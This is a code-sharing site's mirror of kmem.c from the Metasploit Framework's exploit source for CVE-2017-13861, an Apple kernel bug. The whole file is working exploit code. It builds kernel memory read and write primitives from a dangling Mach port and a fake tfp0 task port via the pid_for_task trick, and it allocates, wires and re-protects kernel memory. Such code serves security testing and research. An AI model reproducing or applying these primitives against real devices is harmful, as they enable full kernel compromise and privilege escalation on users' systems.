CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2017-13861/kmem.c
Views: 11777
1
#include <mach/mach.h>
2
#include <stdio.h>
3
#include <stdlib.h>
4
#include <unistd.h>
5
6
#include "kmem.h"
7
#include "kutils.h"
8
#include "common.h"
9
10
#include <CoreFoundation/CoreFoundation.h>
11
extern void NSLog(CFStringRef, ...);
12
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
13
14
// the exploit bootstraps the full kernel memory read/write with a fake
15
// task which just allows reading via the bsd_info->pid trick
16
// this first port is kmem_read_port
17
mach_port_t kmem_read_port = MACH_PORT_NULL;
18
void prepare_rk_via_kmem_read_port(mach_port_t port)
19
{
20
kmem_read_port = port;
21
}
22
23
mach_port_t tfp0 = MACH_PORT_NULL;
24
void prepare_rwk_via_tfp0(mach_port_t port)
25
{
26
tfp0 = port;
27
}
28
29
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0)
30
{
31
tfp0 = fake_tfp0;
32
}
33
34
bool have_kmem_read()
35
{
36
return (kmem_read_port != MACH_PORT_NULL) || (tfp0 != MACH_PORT_NULL);
37
}
38
39
bool have_kmem_write()
40
{
41
return (tfp0 != MACH_PORT_NULL);
42
}
43
44
size_t kread(uint64_t where, void* p, size_t size)
45
{
46
int rv;
47
size_t offset = 0;
48
while (offset < size) {
49
mach_vm_size_t sz, chunk = 2048;
50
if (chunk > size - offset) {
51
chunk = size - offset;
52
}
53
rv = mach_vm_read_overwrite(tfp0,
54
where + offset,
55
chunk,
56
(mach_vm_address_t)p + offset,
57
&sz);
58
if (rv || sz == 0) {
59
LOG("error reading kernel @%p", (void*)(offset + where));
60
break;
61
}
62
offset += sz;
63
}
64
return offset;
65
}
66
67
size_t kwrite(uint64_t where, const void* p, size_t size)
68
{
69
int rv;
70
size_t offset = 0;
71
while (offset < size) {
72
size_t chunk = 2048;
73
if (chunk > size - offset) {
74
chunk = size - offset;
75
}
76
rv = mach_vm_write(tfp0,
77
where + offset,
78
(mach_vm_offset_t)p + offset,
79
(mach_msg_type_number_t)chunk);
80
if (rv) {
81
LOG("error writing kernel @%p", (void*)(offset + where));
82
break;
83
}
84
offset += chunk;
85
}
86
return offset;
87
}
88
89
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length)
90
{
91
if (tfp0 == MACH_PORT_NULL) {
92
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
93
sleep(3);
94
return false;
95
}
96
97
return (kwrite(kaddr, buffer, length) == length);
98
}
99
100
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length)
101
{
102
return (kread(kaddr, buffer, length) == length);
103
}
104
105
void WriteKernel32(uint64_t kaddr, uint32_t val)
106
{
107
if (tfp0 == MACH_PORT_NULL) {
108
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
109
sleep(3);
110
return;
111
}
112
wkbuffer(kaddr, &val, sizeof(val));
113
}
114
115
void WriteKernel64(uint64_t kaddr, uint64_t val)
116
{
117
if (tfp0 == MACH_PORT_NULL) {
118
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
119
sleep(3);
120
return;
121
}
122
wkbuffer(kaddr, &val, sizeof(val));
123
}
124
125
uint32_t rk32_via_kmem_read_port(uint64_t kaddr)
126
{
127
kern_return_t err;
128
if (kmem_read_port == MACH_PORT_NULL) {
129
LOG("kmem_read_port not set, have you called prepare_rk?");
130
sleep(10);
131
exit(EXIT_FAILURE);
132
}
133
134
mach_port_context_t context = (mach_port_context_t)kaddr - 0x10;
135
err = mach_port_set_context(mach_task_self(), kmem_read_port, context);
136
if (err != KERN_SUCCESS) {
137
LOG("error setting context off of dangling port: %x %s", err, mach_error_string(err));
138
sleep(10);
139
exit(EXIT_FAILURE);
140
}
141
142
// now do the read:
143
uint32_t val = 0;
144
err = pid_for_task(kmem_read_port, (int*)&val);
145
if (err != KERN_SUCCESS) {
146
LOG("error calling pid_for_task %x %s", err, mach_error_string(err));
147
sleep(10);
148
exit(EXIT_FAILURE);
149
}
150
151
return val;
152
}
153
154
uint32_t rk32_via_tfp0(uint64_t kaddr)
155
{
156
uint32_t val = 0;
157
rkbuffer(kaddr, &val, sizeof(val));
158
return val;
159
}
160
161
uint64_t rk64_via_kmem_read_port(uint64_t kaddr)
162
{
163
uint64_t lower = rk32_via_kmem_read_port(kaddr);
164
uint64_t higher = rk32_via_kmem_read_port(kaddr + 4);
165
uint64_t full = ((higher << 32) | lower);
166
return full;
167
}
168
169
uint64_t rk64_via_tfp0(uint64_t kaddr)
170
{
171
uint64_t val = 0;
172
rkbuffer(kaddr, &val, sizeof(val));
173
return val;
174
}
175
176
uint32_t ReadKernel32(uint64_t kaddr)
177
{
178
if (tfp0 != MACH_PORT_NULL) {
179
return rk32_via_tfp0(kaddr);
180
}
181
182
if (kmem_read_port != MACH_PORT_NULL) {
183
return rk32_via_kmem_read_port(kaddr);
184
}
185
186
LOG("attempt to read kernel memory but no kernel memory read primitives available");
187
sleep(3);
188
189
return 0;
190
}
191
192
uint64_t ReadKernel64(uint64_t kaddr)
193
{
194
if (tfp0 != MACH_PORT_NULL) {
195
return rk64_via_tfp0(kaddr);
196
}
197
198
if (kmem_read_port != MACH_PORT_NULL) {
199
return rk64_via_kmem_read_port(kaddr);
200
}
201
202
LOG("attempt to read kernel memory but no kernel memory read primitives available");
203
sleep(3);
204
205
return 0;
206
}
207
208
const uint64_t kernel_addr_space_base = 0xffff000000000000;
209
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length)
210
{
211
if (dest >= kernel_addr_space_base) {
212
// copy to kernel:
213
wkbuffer(dest, (void*)src, length);
214
} else {
215
// copy from kernel
216
rkbuffer(src, (void*)dest, length);
217
}
218
}
219
220
uint64_t kmem_alloc(uint64_t size)
221
{
222
if (tfp0 == MACH_PORT_NULL) {
223
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
224
sleep(3);
225
return 0;
226
}
227
228
kern_return_t err;
229
mach_vm_address_t addr = 0;
230
mach_vm_size_t ksize = round_page_kernel(size);
231
err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE);
232
if (err != KERN_SUCCESS) {
233
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
234
sleep(3);
235
return 0;
236
}
237
return addr;
238
}
239
240
uint64_t kmem_alloc_wired(uint64_t size)
241
{
242
if (tfp0 == MACH_PORT_NULL) {
243
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
244
sleep(3);
245
return 0;
246
}
247
248
kern_return_t err;
249
mach_vm_address_t addr = 0;
250
mach_vm_size_t ksize = round_page_kernel(size);
251
252
LOG("vm_kernel_page_size: %lx", vm_kernel_page_size);
253
254
err = mach_vm_allocate(tfp0, &addr, ksize + 0x4000, VM_FLAGS_ANYWHERE);
255
if (err != KERN_SUCCESS) {
256
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
257
sleep(3);
258
return 0;
259
}
260
261
LOG("allocated address: %llx", addr);
262
263
addr += 0x3fff;
264
addr &= ~0x3fffull;
265
266
LOG("address to wire: %llx", addr);
267
268
err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ | VM_PROT_WRITE);
269
if (err != KERN_SUCCESS) {
270
LOG("unable to wire kernel memory via tfp0: %s %x", mach_error_string(err), err);
271
sleep(3);
272
return 0;
273
}
274
return addr;
275
}
276
277
void kmem_free(uint64_t kaddr, uint64_t size)
278
{
279
if (tfp0 == MACH_PORT_NULL) {
280
LOG("attempt to deallocate kernel memory before any kernel memory write primitives available");
281
sleep(3);
282
return;
283
}
284
285
kern_return_t err;
286
mach_vm_size_t ksize = round_page_kernel(size);
287
err = mach_vm_deallocate(tfp0, kaddr, ksize);
288
if (err != KERN_SUCCESS) {
289
LOG("unable to deallocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
290
sleep(3);
291
return;
292
}
293
}
294
295
void kmem_protect(uint64_t kaddr, uint32_t size, int prot)
296
{
297
if (tfp0 == MACH_PORT_NULL) {
298
LOG("attempt to change protection of kernel memory before any kernel memory write primitives available");
299
sleep(3);
300
return;
301
}
302
kern_return_t err;
303
err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);
304
if (err != KERN_SUCCESS) {
305
LOG("unable to change protection of kernel memory via tfp0: %s %x", mach_error_string(err), err);
306
sleep(3);
307
return;
308
}
309
}
310
311